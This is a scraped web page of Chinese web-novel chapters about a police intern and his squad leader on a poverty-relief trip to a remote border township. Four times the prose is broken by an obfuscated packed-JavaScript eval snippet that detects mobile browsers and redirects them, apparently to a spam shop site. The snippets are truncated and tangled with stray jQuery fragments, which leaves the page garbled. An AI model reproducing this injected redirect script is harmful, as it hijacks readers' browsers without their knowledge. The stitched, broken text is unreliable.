;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164150|196622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不客气可以叫卜哥,不许再叫‘那家伙’、‘这帮人’,听到没有!” 程辛苑态度很认真,赵寻越倒没反驳,一来觉得他开车路上辛苦,二来他和马全全的确误解了别人。 “对不起。” 赵寻越道了歉,程辛苑转身走向自己房间:“各自休息,吃饭叫你们。” 身后马全全拿出房卡推门进屋,程辛苑又叫:“对了还有,赵寻越!” 赵寻越停在门外看着他,楼道里只有他们两人。程辛苑伸出食指,指着他道:“再让我听见你叫‘小程’,就把你留在这里扶贫!” 楼梯间的窗户打进光亮,程辛苑背对着光,整个人拢在暗影里,显得黑乎乎的。可是他伸出的食指,指甲盖稍微反射了一点光,赵寻越不知怎么,觉得他好像菩萨手指伸出的一点光亮,那光亮晃晃悠悠,打中他的眉心。 程辛苑见他不答,一个字一个字蹦着问:“听、到、没?” 赵寻越站在那思忖,顿了几秒道:“……好吧。” 好吧,小程。 等赵寻越进了屋,马全全已经哈哈大笑了:“你是不是要留在这里娶当地人做媳妇了~” 马全全本来就年轻,笑起来更像小孩模样,赵寻越没生气说:“还是不了吧。” “哦哦,看来你还是贪恋市区的美女小姐姐啊,是不是。” 马全全先进屋,顺便就往里走,选了靠窗户的床。赵寻越自动占了靠门的床,把行李放好坐到床上说:“也不是。” “嗯?为什么?”马全全凑过来问,“其实我挺好奇,以你的条件怎么能没谈过恋爱呢?总得有人追你吧?” 赵寻越平时跟马全全接触不多,但这人天真的劲头不招人烦,赵寻越对他没什么戒心,甚至比同屋的卫琛平都多一些好感,直接说:“有,但是,怎么说呢,没什么兴趣。” “怎么会没兴趣啊?我要有你这外在条件,我早就、早就……” 赵寻越瞥了马全全一眼,看他着急的样子好玩,好奇问:“那你为什么没谈过恋爱?你这么……可爱?” 他脑袋里蹦出个词,想了想这样形容马全全没问题,继续说:“你这么可爱,不会没人喜欢吧?” “我这个人就比较……嗯,腼腆,就是,太不主动了……”马全全害羞地说,“我读警校时,一直暗恋我们系一个师姐,暗恋好久好久,后来终于鼓足勇气……” “你表白了?后来在一起了吗?” “我鼓足勇气,在师姐毕业时跟她表白了……后来她毕业了,去别的省了。” “啊……”赵寻越觉得此处应该做一个悲伤的表情。 “唉,你看程队长,这么活泼的人,在临尘县这么多年都没有女朋友,所以我真的有点担心。我这么闷,在这里待上几年……” 马全全往床上一趟,好像陷入深深的忧虑,赵寻越就丝毫不为这种事担心。在儿女之情的事上,他一向没有兴趣,一是追他的人有的是,他年轻、条件好,不着急;二是他并不喜欢追他的那些貌美、娇嫩的小姑娘,他不会产生保护欲,他喜欢对抗和强者。 忽然,马全全从床上弹起来,脸色有点发白道:“赵、赵寻越,你、你该不会是……是同性恋吧?” 13. 出发!下乡 2 “啊?” 赵寻越一脸懵,可当下第一反应不是反驳,而是接着问:“怎么,你介意啊?” “不不不,绝对没有……” 马全全摇摇头,真诚地说:“我是直男的……你不想告诉我也没关系,不过你放心,我绝对不是戴有色眼镜的那种人。我觉得喜欢谁都是个人的自由,真的。” 这个观点倒和赵寻越不谋而合。警校里男生多,的确会有一些男男情侣,赵寻越从来不介意或者鄙夷与他们做朋友。 “嗯,我也是这么想的。” 马全全看他没正面回答,就没再深问,自顾收拾行李去了。这下轮到赵寻越躺倒在床了,他没说自己是或不是,因为他没谈过恋爱,他按世俗标准觉得自己应该是喜欢女人,但从小到大他又没有真的喜欢过谁。 谁知道呢。赵寻越揉了把脸坐起来,开始往外翻行李,不管他以后喜欢上谁吧,他喜欢的是那个人,与他的性别无关。 晚上六点,卜安齐来接边境中队的人吃饭。他定了招待所附近一家小餐馆,没有什么乡镇领导,就卜安齐和他太太,还有卜家的一对双胞胎儿子。 几个人到餐馆时,卜太太和儿子们已经把菜都点好。赵寻越一走进包间,就瞧见两个长得一模一样小男孩,他们大概五、六岁的样子,很安静,乖乖地坐在椅子上。卜安齐一到就让他们问好,程辛苑笑着说:“哟,都长这么大了,叔叔我上次来的时候还是小豆丁呢。” 马全全也蹲下身说他们可爱,只有赵寻越心想,程辛苑到底是觉得自己有多老,为什么总爱自称“叔叔”。 卜安齐见赵寻越没什么反应,连忙对儿子们说:“这个叔叔呢,快叫人啊。” 两个小孩齐声一喊,赵寻越眉头微皱,一脸不情愿的样子。程辛苑神仙般的领悟了赵寻越不满的点,还在为他入住时对卜安齐没大没小的事情介怀,于是盯着赵寻越,严厉地说:“叫你什么就受着,以为自己在哪呢,这么大架子。” 这话是当着一众人训赵寻越,卜安齐挂着笑容说:“没事没事,快坐吧。为了不耽误你们时间,我让老婆提前点好菜,小程你快尝尝。” “好嘞卜哥!” 程辛苑叫得干脆,教训过赵寻越也完全不影响他社交的好心情,还跟卜安齐喝开了酒。马全全听话地坐到程辛苑旁边,客气地跟卜太太交流几句,剩下一双安静可爱的小双胞胎,坐在了赵寻越身边。 赵寻越并不是不喜欢小孩,吃饭席间还经常给两个小男孩夹菜,甚至低下头跟他们聊天,卜安齐看见了就说:“哎,这个小伙子很会照顾人啊,是不是儿子们,这位大哥哥好不好?” 这是有意弥补刚才那句“叔叔好”,两个儿子马上点头。赵寻越有点不好意思,称呼的确是小事,是他方才情绪太上脸,他立刻说:“我家里有个妹妹,她小时候我也是这么照顾的。” “哦,你有妹妹?她多大啊?” 程辛苑想到赵寻越简历上写的母亲和妹妹,以及他之前说的母亲已死。赵寻越没避讳说:“我妹妹比我小挺多的,小我十二岁。” “那还好,两个人差得多,父母照顾小的那个,大的已经独立懂事了,还能帮帮忙。” 卜安齐望着两个儿子,眼光有些复杂,程辛苑问:“怎么卜哥,觉得两个儿子压力大了?” 卜安齐和太太都笑了,卜安齐说:“是啊,他们刚生下来的时候欢欣鼓舞,这些年明显感觉自己体力不行了。” “他们要上小学了吧?”程辛苑问,“将来好好读书,长大出人头地,有的是你风光的时候,愁什么啊。” “哈哈哈,是、是,只要他们出人头地,我拼死拼活也得养。来来来,小程,走一个、走一个。” 程辛苑立刻举杯,两人越喝兴致越高,几瓶下肚,卜安齐已有醉意,程辛苑倒是酒量挺好,只是微醺,但劝卜安齐不要再喝。等吃完了饭,卜安齐酒劲上来没法开车,程辛苑特意让马全全去招待所把他们的车开回来,送卜安齐等人回家。 赵寻越没喝酒,对两个双胞胎小男孩也有好感,主动提出自己去送,程辛苑拒绝了,执意让马全全送。小马开着车来餐馆接卜安齐一家,走的时候程辛苑千叮咛万嘱咐,可以开得慢,但必须安全送达。 等马全全开车走了,程辛苑对赵寻越说:“走吧,咱们溜达回去。” 今晚的月光比较暗淡,天上有云层,乡下这个时间点已经没什么人,两人走在路上落得安静自在。程辛苑忽然问:“……知道为什么没让你送吗?” “嗯?”赵寻越一愣,他以为程辛苑想吹吹风,散散酒劲,没想到他挑起了话题。 “不知道。” “嘿。”程辛苑微不可察地笑了下,又转换话题问,“你跟双胞胎聊什么了,又鼓励他们‘从不公平的世界里走出来’吗?” 赵寻越立刻看他。这话是曾经说给崔志的,程辛苑用到这里,赵寻越没明白他是赞许这种勉励方式,还是嘲讽这句话太过中二。赵寻越只好试探着问:“他们又有什么不公平了,你不是还让他们出人头地吗?” “出人头地,唉……” 程辛苑默默出了口气:“谁不想出人头地啊,可你知道吗,马沟乡这种边境县里的贫困乡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164151|196622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,是贫困中的最贫困,二十几年来乡里就出过一个大学生,想出人头地,你以为这么容易呢。” 他们往招待所的方向走,月光照在程辛苑脸上,他语声很柔。 “你是从市区来的,你在左城看到的大世界,他们可能一辈子都看不到,所以别对这里的人没礼貌或太苛刻,对比你大的人就叫声‘哥’,小朋友叫你什么,你答应就完了。” 他说到这里停下,赵寻越也跟着停下,程辛苑盯着他,带点酒疯似的质问道:“再说了,你比那双胞胎大二十多岁了,叫你声叔叔还不应该了?啊,你说啊!” 程辛苑今晚的状态不一样,没有往日的咄咄逼人,倒像是冲着相熟的朋友……撒娇?赵寻越确定他的表情、语气真的有点那个意思,一时没能适应,迟钝地点点头。程辛苑教训的内容是对的,赵寻越心想“叔叔”就“叔叔”吧,就算失望也不能绝望,这是他最后的倔强。 见赵寻越点头了,程辛苑才满意地说:“嘿,哥今晚喝酒了,不然不会这么苦口婆心地教育你,只会臭骂你,知道吗。” 哦,所以这是程辛苑今晚特殊的温柔? “听见了吗,问你话呢?”程辛苑又问。 “那……” “那什么?” 那,这个人的反差还真是挺大的,赵寻越想。 他跟程辛苑不熟,以前觉得这个队长嘴上爱占上风、训起人来没完没了,这段时间倒是能发现他的细腻心思。看来程辛苑不让他去送卜安齐,可能是怕他给别人脸色,也是借机跟他单独谈谈。 喝了酒的程辛苑的确变得好说话一些,至少他推心置腹的语气,自然又舒服。就像那天在警队大门口,他拉赵寻越进院门,跟他说“从今天起,我带你”一样——这些时刻,程辛苑都是善意且没有攻击性的,赵寻越只有在这些时刻,愿意同他多待一会。 “哎、哎、喂!你要说什么啊,那什么啊?” 程辛苑不耐烦地在他面前打响指:“你魔怔了?” 那天在警队大门口也是这样,程辛苑但凡展现出一点点好心,总得伴随着一点点挑衅。那天他就疯狂在赵寻越脸前抖落那张检讨,这会儿他又不停地打响指。响指的“砰砰”声让人心烦,赵寻越抬起胳膊,一把抓住程辛苑不安分的手。 赵寻越那天就想夺过检讨。他此时还是警校未毕业的实习生,表面上不敢反抗一个警队的队长,只有程辛苑示弱时,或者放下架子主动搭理他时,赵寻越才愿意跟他多待一会,或者再逗趣他一下。 所以赵寻越对他说: “那今晚,可以叫你小程吗?” 14. 喝酒与月夜1 月光昏暗,天上有云在飘,赵寻越抓着程辛苑的手,那人顿了一下没有立刻抽开,程辛苑的手还挺热乎的,可能身上的酒精让他温暖。他们站在原地四目相望,赵寻越忽然生出一种感觉,好像天空飘下看不见的透明云彩,把他和程辛苑围在了一起。 赵寻越想起程辛苑方才说,再叫“小程”就把他留下扶贫,想起马全全说他可能要留在这里娶当地人做媳妇。赵寻越有少年人的倔强和气盛,也有少年人的简单和玩心,真的很想当着程辛苑的面,叫他“小程”。 而程辛苑毫无反应,赵寻越以为他醉了或者困了。暗淡的月光真的很像烟雾,给现实空间营造出一种梦境般的缥缈之感,在大街上无形地流动着,挤压着人的眼睛和心脏①。赵寻越被压得难耐,特别想在这个当口占个便宜,于是大着胆子想,留下就留下吧,扶贫就扶贫吧,娶当地人就娶当地人吧。 他不管不顾了,正视着程辛苑的眼睛,直接脱口而出说:“小程。” 他说完程辛苑立刻甩开他的手,赵寻越以为他生气了,不料那人竟然大声笑开:“哈哈哈……滚,叫哥。” 他没生气,挺好,但没生气我也不叫哥。赵寻越心里想,没说出来。 “叫啊!” 赵寻越不叫,迈开步子往前走:“快走吧,要到招待所了。” 程辛苑跟上他:“嘿,你为什么不叫?” 赵寻越不理他,程辛苑有点无赖地说:“你干嘛爱叫我‘小程’啊?呵呵,不说我也知道。” “嗯?” 赵寻越转头看他,程辛苑一脸“你快来问我知道什么”的欠欠的表情。唉,算了,知道就知道吧,赵寻越不上他的当,依然大步往前走。他自己也知道,他叫“小程”,是可爱,是好奇,是不明白为何程辛苑对他有莫名的敌意,是想引起程辛苑关注,是不服,是挑战。 他走得太快,慢慢将程辛苑落在身后,他听见那人用带着点酒醉的慵懒声音说:“哼哼,赵寻越,你这个臭屁小孩……” 那天晚上回了招待所,赵寻越洗完澡很快睡了,以至于他都不知道马全全是什么时候回来的。第二天一早,卜安齐来找他们,一行四人出发去给贫困户入户发放物资,正式开始走基层的工作。 赵寻越一直生活在大城市,临尘县已经是他来过比较落后的地方,而马沟乡更是超出他的想象。这里生活的大部分都是农民,医疗卫生条件非常差,乡里仅有一所小学和一所初中,所有农民人均年收入不超过一万块,请注意,是年收入,不是月收入。如果粮食收成好,农民们还能糊口,如果收成不好,比如赶上自雨雪灾害天气,或者地震滑坡等自然灾害,这里的生活食品以及物资就要通过外界运输援助。 昨晚边境中队三人住的招待所,是乡里条件最好的地方,今天随着入户工作展开,赵寻越见识到乡里老百姓的住房、生活条件,这一整天他都皱着眉头,不怎么说话。 晚上干完活回到招待所,程辛苑留卜安齐吃饭,四个人又去了昨天那家小餐馆,程辛苑和卜安齐聊着闲天解闷,马全全认真吃饭,只有赵寻越一人提议要啤酒。 程辛苑今天没想喝酒,但觉得着小饮怡情,就让服务员拿了两瓶啤酒。他打开一瓶给卜安齐和自己倒到杯子里,偶尔喝几口,另一瓶给了赵寻越。 一开始程辛苑没当回事,男人嘛,出门喝点酒不算什么,但赵寻越很快干完了一瓶,还继续管服务员要。 程辛苑带队出来就负有责任,他对赵寻越说:“你干嘛喝这么多?酒量行吗,明天还干活呢。” 赵寻越直接反驳道:“我酒量很好。” “啧。” 程辛苑有点不悦,问他酒量不是真的关心他酒量好不好,而是侧面命令他不许再喝。卜安齐明白他的意思,帮忙劝赵寻越说:“小伙子你怎么了,我看你今天脸色挺消沉的。” 马全全插话道:“寻越一直跟我说,怎么也想不明白,为什么现在还有生活这么苦的人。” 卜安齐和程辛苑都不说话了,服务员拿了新酒上来,赵寻越开了瓶直接对嘴喝,卜安齐想制止,程辛苑道:“算了,让他喝吧。” 赵寻越的酒量没自己说的那么好,喝了两瓶就上头,从耳朵根红到脖子。吃完饭程辛苑付了钱,送走了卜哥,三个人往招待所走,到门口时赵寻越说:“你们先上去吧,我再走走、吹吹风。” 马全全很善良地说:“要不我陪你吧?” “不用,你们上去吧。” 赵寻越说完就走了,马全全尴尬地看看队长,程辛苑道:“看什么,他那么大人了,还能走丢不行?” 程辛苑迈腿进了招待所,马全全赶紧跟上:“寻越今天情绪不好,又喝了酒,我怕……” “呵,说白了就是在城里养的了,第一次下乡,心善、责任感又强,受不住这场面了。” 他们下乡之前,曹冲提醒过马全全,乡下老弱病残多,条件苦,一般人富有强烈的同理心,很容易为这种场景心酸、焦虑,尤其是马全全这种年轻善良的小孩。程辛苑没想到,马全全今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164152|196622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天表现稳定,第一个受不住的是赵寻越。 两个人各自回了房间,程辛苑洗了澡,又把明天工作要用的东西准备好,然后给赵寻越发信息,问他回来没有。这时司迁业打来电话,询问第一天下乡是否顺利,两人简单聊了几句,挂断电话后,赵寻越还没回复。程辛苑有点担心,直接打他电话,结果对方关机。 “嘿!臭小子……” 程辛苑出屋敲敲隔壁房门,马全全刚洗完澡,湿着头发、搭着毛巾出来问:“怎么了队长?” “赵寻越回来了吗?” “没有,我刚才给他打电话,但是他关机了。” “靠!”程辛苑心急直接骂出来。 “要不我出去找找他?” 马全全一边擦头一边回屋拿衣服,程辛苑直接转身把他的屋门撞上,生气道:“你好好待着,我去找他!” 他回屋批了件外套,急匆匆下楼,一边跑楼梯一边继续打电话,刚跑出招待所往右一转头,就看到赵寻越坐在马路牙子上。 “赵寻越!” 程辛苑冲过去简直想爆扣他脑袋:“干嘛呢你!不回信息还关机,跟我玩失踪?真想留下来扶贫吗!” 程辛苑跑到他身边,就差踹他一脚了,赵寻越赶紧掏出手机,看了看,有点无辜地望着他说:“……没电自动关机了。” 程辛苑仿佛一记闷拳打在自己身上,不耐烦地瞪他,然后才注意到,赵寻越身边有两个烟头。 “你抽烟了?” 程辛苑有点意外,一是赵寻越的气质不像“老烟枪”,二是自从他来到临尘县,程辛苑从没见过他抽烟,可见瘾头不大。这得是心里有多不好受,才把他逼得借抽烟消愁。 赵寻越默默点了下头。他喝了酒又吹了半天风,脸色忧愁,月光下更显疲惫。别人疲惫了是显老,赵寻越疲惫后却显小,把他那点象牙塔里的学生气带出来了,程辛苑哼了一声道:“警校都培养你什么了,心理素质这么差。” 大晚上队员无故“失踪”,程辛苑的小脾气还没下去,说话带着讽刺。可赵寻越没回怼他,反而说了一句话,声音还透着落寞:“我想不明白,同在一个城市,怎么生活状况差这么多。” 左城虽不是一线大城市,但人口也有700多万,算二线城市里建设比较好的。赵寻越这种从小在城里生活的,见到悲苦人民的日常就受不了了。善良的人共情能力太强,很容易被别人伤心的事情感染,以至自己失去平衡,以这个观点来看,赵寻越还是善良的男学生。 15. 喝酒与月夜2 “这有什么想不明白的?”程辛苑低头看赵寻越缩成一小坨的背影,“中国一共34个省级行政区,省、市、县、乡、村,能人人都一样吗。你这刚经历多少啊,明天去深山里的村子,你看到那里的人是不是得掉眼泪了?” “还有更穷的?” 赵寻越明显不相信,眉毛皱成内八,脸上还有点醉酒后的红扑扑的颜色,看上去特别可怜,程辛苑一下看笑了。你能想象一只巨兽退化成一只小狗的反差萌感吗?程辛苑看着赵寻越,当下就是这种感觉。“小狗”不说话了,低下头沉思起来,眼睛注视着地面,愣了一会,从口袋里摸出烟盒和打火机。 “啧。” 程辛苑突然坐到他身边,一把握住他拿烟盒的手。赵寻越的手指很凉,感受到程辛苑掌心的温暖立刻顿住,大脑里空了一拍,有两个想法迅速冲进脑海,一个是程辛苑也想要根烟,一个是,这是他们两个人短短两天内,第二次握到对方的手。 赵寻越那时还年轻,没立刻反应过来,总觉得第二个想法无关紧要且莫名其妙,于是顺着第一个想法道:“你也要?” 谁知程辛苑抽走了他手里的烟盒跟打火机:“我不抽烟,你也别抽。” 程辛苑酒量还行,因为县里娱乐活动匮乏,喝酒是乐趣之一,但他不爱抽烟,他一直受不了烟味。他把东西放到自己身侧,避免赵寻越再拿到。 赵寻越没反抗,坐在地上叹气。程辛苑忽然问:“知道我们为什么下乡吗?” “为什么?” “帮扶、送物资、提供支援。” “就这些事情,我看也改变不了大部分人的生活……” “所以才带你们来啊。”程辛苑扭头看他,“你、小马,你们都是最年轻的人,通讯手段发达,跟市区的联系还紧密。你们看到的、感受到的,回去以后多说说,让更多的人知道,让更多的人帮扶贫困地区,知道吗?” “啊?” 赵寻越恍然大悟,程辛苑继续说:“电视里那些扶贫的正面报道,年轻人都不愿意看,为什么?因为解说词假大空、不接地气,但贫困的生活是实实在在的。媒体宣传不出去,就带你们年轻人实际来感受一下。你今天送的物资可能帮不了所有人,但你今天的感受,回去跟你同学、老师、朋友们说说,让更多人看到这里,有更多的目光和关爱,这里就能好起来。” 程辛苑说完站起身,又俯视赵寻越道:“你在这唉声叹气,不是我带你来的目的。如果你这么脆弱,我还不如带卫琛平来。听到了吗?起来。” 他说着上手揪了一下赵寻越的衣服,没把人揪起来。这家伙跟他一般高,但稍微比程辛苑壮一点。 “快点啊,我耐心有限。” 程辛苑催促着,又揪他衣服,那人被他吊起来半只胳膊,整个人像只没落魄的流浪狗。周围的一切都令赵寻越感到苦闷,他想真正的保家卫国,在警校学了一身本领,可他来到临尘县又发现,很多时候这身本领派不上用场,临尘县需要的是扶贫力度,是经济发展,是高质量的教育。一种想做点什么又无能为力的感觉,让他又堵又闷,再加上程辛苑嘲讽的语气,赵寻越抽回胳膊,抬头冲他问:“那你为什么不带卫琛平?” 程辛苑一顿。他可不是知心大哥哥,并且他不太瞧得上弱者。如果赵寻越维持来到临尘县一贯的积极、踏实的样子,程辛苑会改变对他的抗衡态度,而今晚,赵寻越不管是有意还是无心不回复上级命令,在程辛苑解释、宽慰后依然态度“凶横”,程辛苑的耐心快耗尽了。 他本想踹赵寻越一脚,大叫“臭小子带你出来是看得起你”,在犹豫的当口,赵寻越抹了一把脸,捡起烟盒、打火机站了起来。 “不许抽。”程辛苑压着火气说。 赵寻越捏着烟盒,倔强地看对方,既抵抗又隐忍。程辛苑有一种特殊的气场,他们平视时,程辛苑总爱用探究的眼神注视赵寻越,那眼神中有一点好奇,带一点玩味,还有几分进攻。赵寻越在他面前有一种冲动和压抑混合的感觉,他当时觉得自己是出于上下级关系,或者担心实习结束的成绩,所以对程辛苑尤其忍耐。而由于他最终不敢动怒,心里的火气出不去,克制更加增添了烦闷,他对程辛苑混乱的感觉缠在心头,末了竟然急红了眼睛。 程辛苑并不知道赵寻越复杂的心理矛盾,见他红了眼,以为他是醉意上头了,可又不确定他是不是真醉。 赵寻越捏着烟盒半响,最终没有回答,转身往招待所走,程辛苑也不知自己是“耐心说服了手下”,还是“强制弄丢了人心”。 两人一前一后上楼,赵寻越走在前,程辛苑在后面跟着。到了房间门口,赵寻越敲门,程辛苑盯着他的背影,等马全全打开门,看到他俩刚想叫一声什么,赵寻越立刻走进去,“砰”的一声撞上门。 “嘿!” 程辛苑心里骂着这臭小子回到自己房间,他进了屋没开灯,直接躺倒在床,心里有个声音,变成赵寻越的声色穿进耳朵: “那你为什么不带卫琛平?” 程辛苑当时没回答,心中有一些细微又敏锐的感觉,说不出来。 你问的是,我为什么不带卫琛平下乡,还是,我为什么不带教卫琛平。这是两个问题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164153|196622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 =========== 第二天早上,阳光普照,对于左城这个地处热带且多雨的地方,艳阳总是让人心情愉悦。程辛苑起得很早,他准备了一个大书包,往里装了单反相机、一块大白布和一个神秘的小盒子,开开心心下楼吃早餐。 卜安齐和那两个人已经在一楼,程辛苑背着书包下来,马全全第一个跟他问好,赵寻越脸色比昨晚好一些,但依然不跟他打招呼。 卜安齐看到他的大书包说:“这里面装的设备啊?” “对,相机和剪头工具。” 程辛苑拿了个馒头开始吃早饭,马全全问:“相机是要拍照的,剪头工具是干嘛啊?” 马沟乡在边远地区,法律意识、户籍意识淡薄,有些行动不便的独居孤寡的老人,常年留守在村子里,这一行人第二天的工作任务,就是走进偏僻的地方,为孤寡老人办理户籍档案,带着照相设备,是为了给这些人上门拍身份证件照。 这些出发前程辛苑说过,但剪头理发工具就显得很意外了,赵寻越也好奇地看向他。程辛苑发现引起赵寻越的注意,终于寻得些存在感,嘴里嚼着馒头故作玄虚道:“长在村子里的小孩穷,尤其长年跟老人独守老家的,没钱也没有理发意识,咱们下乡的时候,捎带手就帮他们理理发。我下乡学会的第一个技能就是这个,今天你们就拜我为师,我的独门手艺剃寸头,不外传的知道吗?” “哈哈,队长原来你就是传说中的托尼老师啊。”马全全笑说。 “什么,托尼老师是谁?” 程辛苑来临尘县的时间长,对网上的梗不太了解,曹冲总吐槽他是老年人,不仅是说他年纪大,还指他跟年轻人的娱乐生活脱节。 马全全不好意思解释,吐吐舌头看看赵寻越,好像只有跟同龄人能共享小秘密似的。程辛苑盯着他俩,想从表情上看出这两个小屁孩有没有背地里瞧不起自己,尤其紧紧看着赵寻越的脸,生怕他不服自己。 不过赵寻越没觉得“托尼”这个梗多好笑,他倒是有点意外,下乡还真有好多他不知道的工作内容。 吃完饭一行人出发,这次是卜安奇开车,要去的地方他也提前整理好名单。车子开出招待所很久到了第一户人家,下车后卜安奇用临尘县当地方言,冲屋子里喊了一声。程辛苑背着大书包,马全全跟在他身后问:“卜哥说的什么啊?” “可能是叫人名呢,我也听不懂。咱们今天来见的这些人,基本都是当地最老的留守者,别说临尘县了,一辈子都没走出过马沟乡,根本不会普通话。” “来了来了。” 16. 理发1 门口出现一位矮小的、满脸皱纹的老爷爷,拄着一只棕色的、做旧的拐杖,亦步亦趋地向几个人走过来。卜安齐赶紧上前去扶他,程辛苑从书包里掏出大白布,指挥赵寻越和马全全道:“你们两个,把布挂到那边的杆子上。” 交代完,程辛苑走到卜安齐和那个老头身边:“大爷,我是临尘县边境中队的队长,您的身份证到期了,我们来给您拍证件照。” 卜安齐把这些内容翻译给老头听,那老爷爷也不知听没听懂,反正就是一脸客气的微笑。因为他满脸都是皱纹,仿佛皱纹把他的嘴拉开,无法还原成自然形态似的。 “来来大爷,您坐这里。” 程辛苑和卜安齐把他扶到一把椅子上,这老头坐下去,但手里还握着拐杖。挂完白布背景的赵寻越想把他的拐杖拿走,谁知手刚碰到拐杖,那老头竟然秒变脸,突然死死抓住那根拐杖,把脸贴在上面。 “怎么了?” 程辛苑拿着相机站在稍远的地方,卜安齐赶紧上前道:“你们别碰他。这拐杖是老爷爷的儿子生前送的,他老伴死得早,就一个儿子,早年去四川打工,汶川地震的时候死了……老爷爷这个拐杖一直不离身的。” 这段话说出来,在场的人既意外又沉默。赵寻越和马全全年纪都不大,汶川地震的时候还是真·小屁孩,以前在电视上看到新闻,在报纸上看到死亡数字,地震灾难对他们来说是一件相隔很远的悲恸的事情。他们完全没接触过真正的受难者,这老者当年得是经历了多少痛苦,才能坚强地、孤独地活到现在,他脸上的微笑和周围皱纹,其实都是伤口。 赵寻越呆站在原地,程辛苑走过去碰了他一下,然后弯下腰对老头说:“大爷,您把拐杖横着放可以吗,横着放在腿上。这样……” 他拍拍自己的腿,卜安齐赶紧给翻译,可老头一脸不信任地看看赵寻越。 程辛苑方才碰他,就是让他站远,看赵寻越没反应过来,只能催道:“你还站着干嘛,离远点。” 赵寻越乖乖领了命令,和马全全一起往后走。老头见他们走远,才渐渐松了戒备,程辛苑和卜安齐都好言相劝,最后那老头恢复了平常表情,把拐杖放在腿上,一只手还握着,微微挺直了身板。 程辛苑捧着相机后退几步道:“行,很好大爷,保持这个姿势,待一会儿就好。” 那老头又慢慢展现出笑颜,和方才紧张拐杖时判若两人,赵寻越在旁边看着他,百感交集。程辛苑一边拍一边夸,夸老大爷精神好、气色好、肯定能长命百岁,卜安齐并没有翻译这么多“废话”,而这些话传进赵寻越耳朵里却变了滋味。 他发现程辛苑的反应能力真的在自己之上。赵寻越遇到别人的悲伤,比如像崔志那种身世,赵寻越有同样的经历,能感同身受。但当他遇到自己没体会过的别人的痛苦,他会不知所措、会悲不自胜。他人情历练还不够,尚且没有一颗强大的内心,支撑他看尽人间疾苦,也就无法像程辛苑那般机敏又洞明。程辛苑的夸赞、讨好,看起来更像一种安抚,一种慰藉,就像他昨晚说的,带这帮年轻人来下乡的目的,不是让他们“哀民生之多艰”,而是让他们学世事通达,兼济天下。 等程辛苑拍完照,又上前跟老大爷寒暄了几句,赵寻越和马全全收了背景的大白布,等把扶贫的物资给老人送到屋里,一行人才上车,出发去下一家。 卜安齐开着车,程辛苑问他:“卜哥,刚才那个大爷的儿子,是去四川做什么的?” “我也是听说的,好像是工地的工人,是给四川那边建学校的,在汶川。” “给学生建学校的啊……” 程辛苑默默重复了一遍,坐后面的马全全忽然说:“建学校就是建希望呢。” 程辛苑转过头看了他一眼,他发现马全全对上学、高考、学校这种事特别在意。可他说的没错,为什么爱心捐赠的学校都叫“希望小学”呢,因为那里教育的都是孩子,孩子就是未来的希望。 车上一行人出奇的安静,好像都沉浸在方才的氛围里没回过神来。等到了下一户人家,卜安齐停好车先下来,这户也是一个很大岁数的老头,他儿子、儿媳妇都去城里打工,留下老头和一个六岁的小孙子。 程辛苑一行照例给老头拍了照,收起东西要走时,老头忽然拉着孙子往他们身边凑,还跟卜安齐说着什么,卜安齐听懂后给程辛苑翻译,老头想让他们给小孙子剪头发。 程辛苑一下笑了:“没问题啊,我这手艺终于派上用场了。” 他开心地拿出剃头工具,有剪头、梳子、推子,还有一块中间剪成半圆的大布,用来盖在剪头发的人身前。 可那小孙子并不想剪发,一边大喊“我不”,一边死命拽着他爷爷,不仅自己不剪,还要把爷爷拉走。程辛苑拿着梳子和推子故作和蔼地问:“怎么了小朋友,你怕我剪不好啊?” 小孙子特别倔,他上小学了,会几句普通话,就冲程辛苑做鬼脸,大喊:“不好、不好,不要、不要!” 他爷爷着急,操着当地方言说了半天,程辛苑没完全听明白,只听懂几个词,比如“剪”和“听话” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 